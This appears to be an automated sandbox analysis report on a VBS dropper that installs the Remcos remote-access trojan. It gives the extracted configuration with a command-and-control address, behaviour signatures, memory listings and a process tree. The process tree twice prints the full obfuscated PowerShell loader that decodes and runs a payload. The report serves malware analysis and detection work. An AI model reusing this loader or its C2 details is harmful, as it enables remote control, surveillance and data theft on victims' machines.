Analysis
- max time kernel
116s - max time network
142s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-en - resource tags
- submitted
22/06/2026, 15:17
General
- Target PO_PXN012034.vbs
- Size 95KB
- Sample260622-spesesdx9n
- SHA256 b4c879cb84c835ef64d9f45b78a69b9f08700ab35498f06d802c72af7428223e
Malware Config
Extracted
-
remcos
-
7.2.5 Pro
-
RemoteHost
-
151.241.154.173:2404
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-2XYVRV
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Checks SCSI registry key(s) 3 TTPs 62 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Modifies registry class 38 IoCs
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 38 IoCs
- Suspicious use of FindShellTrayWindow 54 IoCs
- Suspicious use of SendNotifyMessage 40 IoCs
- Suspicious use of SetWindowsHookEx 3 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PO_PXN012034.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Allum_8888.8888.8888.657e2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "rv 'aede' 'udslyngninger' 'afstumpnings';function overflood ($contend,$sulfaprparatets) {$detaljeprojekt=afskrabes(@(113,196,208,218,218,212,224,209,162,206,221,225,219,150,139,192,214,205,210,199,223,228,221,214,222,198,230,206,226,218,118)) ;Aftvingelsers ($detaljeprojekt)}function afskrabes ($juleri) { $belysende=954-954;do {$juleri[$belysende] = $juleri[$belysende] - $purposivistic[$belysende%15];$bunkede+=[char]$juleri[$belysende];$belysende++} while ($juleri[$belysende])$bunkede}function Aftvingelsers ($proteststrejkerne) {&($creatinine) $proteststrejkerne}Function Kontaktformidlingen2 ($juleri,$misbuilds4=0){$tyvtede=afskrabes(@(113,212,196,222,207,223,230,167,233,222,198,213,221,215,214,187,198,198,222,207,221,217,170,208,175,212,224,223,211,217,193,190,155,166,172,225,225,218,183,205,216,215,159,162,186,193,211,202,218,205,151,150,215,234,216,202,228,210,151));Aftvingelsers ($tyvtede);For($quassation=0; $tractioneering[$quassation] -ne $wiselike; $quassation++){$tractioneering[$quassation] = overflood $tractioneering[$quassation] $purposivistic[$quassation%15]}$televisere=afskrabes(@(113,200,205,219,200,208,222,167,219,222,206,221,221,215,214,187,198,211,218,203,226,175,154,223,219,206,224,137,201,202,181,194,211,199,195,204,150,225,231,205,200,230,210,221,213,178,198,211,213,212,214));Aftvingelsers ($televisere);if ($misbuilds4) { Aftvingelsers $friktionernes}else {;$friktionernes}}$purposivistic=@(77,97,97,108,102,111,114,109,117,108,101,114,105,110,103);$creatinine=afskrabes @(150,166,185);$sygeplejeeleven='\Kosmopolitismes.Bod';$uberrtes=Kontaktformidlingen2 'eE9RTE44GwMRAxIBSSAzbVBRQlZUUjocAlNGUk4fe1VaTBQZSFxAXEtCQE4gKAIKA0ldQlxFXFRCWE4hJBMECgkXXVxAXEtC';$dampbageri=Kontaktformidlingen2 'JRUVHBVVXUIRHgwEDEAAIg4GAANBEQIYQxARVgsfPQ4TGFsLHRobAAoTDUgOKVxQQRcKBQwNJzcxByYNIgY+XCccPBgqQQ03OiE/Lj4EPTA=';$stjernemrkers=Kontaktformidlingen2 'cw==';Kontaktformidlingen2 'aQYNAwQOHlcXHgoWBwtaaQQPGlwOAh0RDRETQkoUNAYEHAoKGAgQAAAEDAA=' 1;Kontaktformidlingen2 'aQYNAwQOHlcGHAQVDBoTJBIVHgkfAggHAgABVEoDLAwRDgcIFx8cQhYCBQcTZUUSGAwKAAMQARcZDBwUZA==' 1;Kontaktformidlingen2 'Fi8EGEg8Fx8DBQYXOQEOIxUsDQgOFQgHMV9IOgsEOBMIGB8/AAIBAwYdBVNUfVZT' 1;$dampbageri=$spagettistroppernes[0];$kursndringen=(Kontaktformidlingen2 'aQYNAwQOHlcFDQYbBwlSdVwvCRFCPQ8fCQYGSSACOU82CQQsHgQQAhE=');Aftvingelsers ($kursndringen);Kontaktformidlingen2 'aREADw8BFVhNQi0XCAoCPxI6NygKBkM9GBECOwsWOAQSGC4KEwkQHjhGWTNaaRQDCRQdBggG' 1;$contendktionsplanens=Kontaktformidlingen2 'CQ4WAgoAEwkzBQkX';$laborious=Kontaktformidlingen2 'aREADw8BFVhNQkERBgATKA8FBxIGHQMGHAkTBwsJPk8oAhAAGQhdSAETBB4FLAYEHg9DVgkcHAoeCAATKA8PCU8=';$dipolantenne=$brodne;Kontaktformidlingen2 'aQYNAwQOHlcaARMXBwoCIwUEH1tHJggGGEgiCBoPbUUFBRYAHgwbGAAcBwtO' 1;while (!$omvendendes) {Kontaktformidlingen2 'aQYNAwQOHlczHgQQCwcTcEUVHhMK' 1;Aftvingelsers $laborious;Kontaktformidlingen2 'Hg0ECRZHRkQ=' 1;Kontaktformidlingen2 'aQYNAwQOHlcaARMXBwoCIwUEH1tHJggGGEgiCBoPbUUFBRYAHgwbGAAcBwtO' 1 ;Kontaktformidlingen2 'aQYNAwQOHlcXHgsWGhoIKwAHCw8JBggHUUEVBQEFLA1bGAcdAQgHAgBZQktDPhEACwMbBgQGGBcdGR4CPw8EH0gMHRgbGA==' 1;$dampbageri=$spagettistroppernes[$brndstofafgifter]}$endivie=150738;$lammets133=20453;Kontaktformidlingen2 'aQYNAwQOHlcSDQcQCA0MeldcCwVPVgkcHAoeCAATKA8PCQ==' 1;Kontaktformidlingen2 'aQYNAwQOHlczBQsVDBwXPwgPGAMLTzY2AwsEDBwTEFtbKhQAHy8UHwBEXT0TPwgPC05LFQwXDgQRAllRZA==' 1;Kontaktformidlingen2 'aQYNAwQOHlcGAwIcDBwGLAUEAgNSKTkQFBFcLAAEIgUIAgEySFc0PyY7IEAgKBUyGBQGHApdSCMbBwkCPxETBQgbFwlc' 1;Kontaktformidlingen2 'aQYNAwQOHlcAABwWAAkPKAVcSBUAFQMQHgQTDQsJKE8SGQQcBh8cAgJaTQsJKQgXBQNDVgEUAQgXHR1WflJI' 1;Aftvingelsers $ulydighed;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "rv 'aede' 'udslyngninger' 'afstumpnings';function overflood ($contend,$sulfaprparatets) {$detaljeprojekt=afskrabes(@(113,196,208,218,218,212,224,209,162,206,221,225,219,150,139,192,214,205,210,199,223,228,221,214,222,198,230,206,226,218,118)) ;Aftvingelsers ($detaljeprojekt)}function afskrabes ($juleri) { $belysende=954-954;do {$juleri[$belysende] = $juleri[$belysende] - $purposivistic[$belysende%15];$bunkede+=[char]$juleri[$belysende];$belysende++} while ($juleri[$belysende])$bunkede}function Aftvingelsers ($proteststrejkerne) {&($creatinine) $proteststrejkerne}Function Kontaktformidlingen2 ($juleri,$misbuilds4=0){$tyvtede=afskrabes(@(113,212,196,222,207,223,230,167,233,222,198,213,221,215,214,187,198,198,222,207,221,217,170,208,175,212,224,223,211,217,193,190,155,166,172,225,225,218,183,205,216,215,159,162,186,193,211,202,218,205,151,150,215,234,216,202,228,210,151));Aftvingelsers ($tyvtede);For($quassation=0; $tractioneering[$quassation] -ne $wiselike; $quassation++){$tractioneering[$quassation] = overflood $tractioneering[$quassation] $purposivistic[$quassation%15]}$televisere=afskrabes(@(113,200,205,219,200,208,222,167,219,222,206,221,221,215,214,187,198,211,218,203,226,175,154,223,219,206,224,137,201,202,181,194,211,199,195,204,150,225,231,205,200,230,210,221,213,178,198,211,213,212,214));Aftvingelsers ($televisere);if ($misbuilds4) { Aftvingelsers $friktionernes}else {;$friktionernes}}$purposivistic=@(77,97,97,108,102,111,114,109,117,108,101,114,105,110,103);$creatinine=afskrabes @(150,166,185);$sygeplejeeleven='\Kosmopolitismes.Bod';$uberrtes=Kontaktformidlingen2 'eE9RTE44GwMRAxIBSSAzbVBRQlZUUjocAlNGUk4fe1VaTBQZSFxAXEtCQE4gKAIKA0ldQlxFXFRCWE4hJBMECgkXXVxAXEtC';$dampbageri=Kontaktformidlingen2 'JRUVHBVVXUIRHgwEDEAAIg4GAANBEQIYQxARVgsfPQ4TGFsLHRobAAoTDUgOKVxQQRcKBQwNJzcxByYNIgY+XCccPBgqQQ03OiE/Lj4EPTA=';$stjernemrkers=Kontaktformidlingen2 'cw==';Kontaktformidlingen2 'aQYNAwQOHlcXHgoWBwtaaQQPGlwOAh0RDRETQkoUNAYEHAoKGAgQAAAEDAA=' 1;Kontaktformidlingen2 'aQYNAwQOHlcGHAQVDBoTJBIVHgkfAggHAgABVEoDLAwRDgcIFx8cQhYCBQcTZUUSGAwKAAMQARcZDBwUZA==' 1;Kontaktformidlingen2 'Fi8EGEg8Fx8DBQYXOQEOIxUsDQgOFQgHMV9IOgsEOBMIGB8/AAIBAwYdBVNUfVZT' 1;$dampbageri=$spagettistroppernes[0];$kursndringen=(Kontaktformidlingen2 'aQYNAwQOHlcFDQYbBwlSdVwvCRFCPQ8fCQYGSSACOU82CQQsHgQQAhE=');Aftvingelsers ($kursndringen);Kontaktformidlingen2 'aREADw8BFVhNQi0XCAoCPxI6NygKBkM9GBECOwsWOAQSGC4KEwkQHjhGWTNaaRQDCRQdBggG' 1;$contendktionsplanens=Kontaktformidlingen2 'CQ4WAgoAEwkzBQkX';$laborious=Kontaktformidlingen2 'aREADw8BFVhNQkERBgATKA8FBxIGHQMGHAkTBwsJPk8oAhAAGQhdSAETBB4FLAYEHg9DVgkcHAoeCAATKA8PCU8=';$dipolantenne=$brodne;Kontaktformidlingen2 'aQYNAwQOHlcaARMXBwoCIwUEH1tHJggGGEgiCBoPbUUFBRYAHgwbGAAcBwtO' 1;while (!$omvendendes) {Kontaktformidlingen2 'aQYNAwQOHlczHgQQCwcTcEUVHhMK' 1;Aftvingelsers $laborious;Kontaktformidlingen2 'Hg0ECRZHRkQ=' 1;Kontaktformidlingen2 'aQYNAwQOHlcaARMXBwoCIwUEH1tHJggGGEgiCBoPbUUFBRYAHgwbGAAcBwtO' 1 ;Kontaktformidlingen2 'aQYNAwQOHlcXHgsWGhoIKwAHCw8JBggHUUEVBQEFLA1bGAcdAQgHAgBZQktDPhEACwMbBgQGGBcdGR4CPw8EH0gMHRgbGA==' 1;$dampbageri=$spagettistroppernes[$brndstofafgifter]}$endivie=150738;$lammets133=20453;Kontaktformidlingen2 'aQYNAwQOHlcSDQcQCA0MeldcCwVPVgkcHAoeCAATKA8PCQ==' 1;Kontaktformidlingen2 'aQYNAwQOHlczBQsVDBwXPwgPGAMLTzY2AwsEDBwTEFtbKhQAHy8UHwBEXT0TPwgPC05LFQwXDgQRAllRZA==' 1;Kontaktformidlingen2 'aQYNAwQOHlcGAwIcDBwGLAUEAgNSKTkQFBFcLAAEIgUIAgEySFc0PyY7IEAgKBUyGBQGHApdSCMbBwkCPxETBQgbFwlc' 1;Kontaktformidlingen2 'aQYNAwQOHlcAABwWAAkPKAVcSBUAFQMQHgQTDQsJKE8SGQQcBh8cAgJaTQsJKQgXBQNDVgEUAQgXHR1WflJI' 1;Aftvingelsers $ulydighed;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
- outlook_office_path
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
-
-
-
C:\Windows\system32\sihost.exesihost.exe1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
prep_Activatable Class_Hermes_perf.cache
prep_Activatable Class_Hermes_perf.cache
Kosmopolitismes.Bod
memory/2704-12-0x00007FFCB9D50000-0x00007FFCBA6F4000-memory.dmp
memory/2704-15-0x00007FFCB9D50000-0x00007FFCBA6F4000-memory.dmp
memory/2704-4-0x00007FFCB9D50000-0x00007FFCBA6F4000-memory.dmp
memory/2704-5-0x00007FFCB9D50000-0x00007FFCBA6F4000-memory.dmp
memory/2704-6-0x00007FFCB9D50000-0x00007FFCBA6F4000-memory.dmp
memory/2704-7-0x00007FFCB9D50000-0x00007FFCBA6F4000-memory.dmp
memory/2704-8-0x00007FFCB9D50000-0x00007FFCBA6F4000-memory.dmp
memory/2704-9-0x00007FFCB9D50000-0x00007FFCBA6F4000-memory.dmp
memory/2704-11-0x00007FFCB9D50000-0x00007FFCBA6F4000-memory.dmp
memory/2704-10-0x00007FFCB9D50000-0x00007FFCBA6F4000-memory.dmp
memory/2704-0-0x00007FFCB9EDF000-0x00007FFCB9EE0000-memory.dmp
memory/2704-13-0x00007FFCB9D50000-0x00007FFCBA6F4000-memory.dmp
memory/2704-14-0x00007FFCB9D50000-0x00007FFCBA6F4000-memory.dmp
memory/2704-3-0x000001A46B290000-0x000001A46B2B2000-memory.dmp
memory/2704-16-0x00007FFCB9D50000-0x00007FFCBA6F4000-memory.dmp
memory/2704-20-0x00007FFCB9D50000-0x00007FFCBA6F4000-memory.dmp
memory/3736-236-0x000000000E170000-0x000000000E9EB000-memory.dmp
memory/5296-41-0x0000000000B20000-0x0000000001E06000-memory.dmp
memory/5296-265-0x0000000000B20000-0x0000000001E06000-memory.dmp
memory/5296-263-0x0000000000B20000-0x0000000001E06000-memory.dmp
memory/5296-261-0x0000000000B20000-0x0000000001E06000-memory.dmp
memory/5296-259-0x0000000000B20000-0x0000000001E06000-memory.dmp
memory/5296-256-0x0000000000B20000-0x0000000001E06000-memory.dmp
memory/5296-255-0x000000001E750000-0x000000001E847000-memory.dmp
memory/5296-254-0x000000001E750000-0x000000001E847000-memory.dmp
memory/5296-251-0x000000001E750000-0x000000001E847000-memory.dmp
memory/5296-246-0x0000000000B20000-0x0000000001E06000-memory.dmp
memory/5312-25-0x0000000005160000-0x00000000051C6000-memory.dmp
memory/5312-24-0x00000000050F0000-0x0000000005156000-memory.dmp
memory/5312-36-0x0000000008190000-0x000000000874A000-memory.dmp
memory/5312-38-0x0000000008750000-0x0000000009299000-memory.dmp
memory/5312-21-0x00000000024D0000-0x0000000002506000-memory.dmp
memory/5312-22-0x00000000051F0000-0x000000000583A000-memory.dmp
memory/5312-23-0x0000000004F50000-0x0000000004F72000-memory.dmp
memory/5312-34-0x0000000006FF0000-0x0000000007086000-memory.dmp
memory/5312-33-0x0000000006280000-0x000000000629A000-memory.dmp
memory/5312-32-0x0000000007550000-0x0000000007BCC000-memory.dmp
memory/5312-31-0x0000000005DD0000-0x0000000005E1C000-memory.dmp
memory/5312-30-0x0000000005D30000-0x0000000005D4E000-memory.dmp
memory/5312-28-0x0000000005990000-0x0000000005CEB000-memory.dmp
memory/5312-35-0x0000000006F90000-0x0000000006FB2000-memory.dmp
memory/5352-58-0x0000023703760000-0x0000023703860000-memory.dmp
memory/5352-94-0x0000023713BA0000-0x0000023713BC0000-memory.dmp
memory/5352-48-0x000002374CA80000-0x000002374CB80000-memory.dmp
memory/5352-73-0x0000023703720000-0x0000023703740000-memory.dmp
memory/5352-56-0x0000023703340000-0x0000023703360000-memory.dmp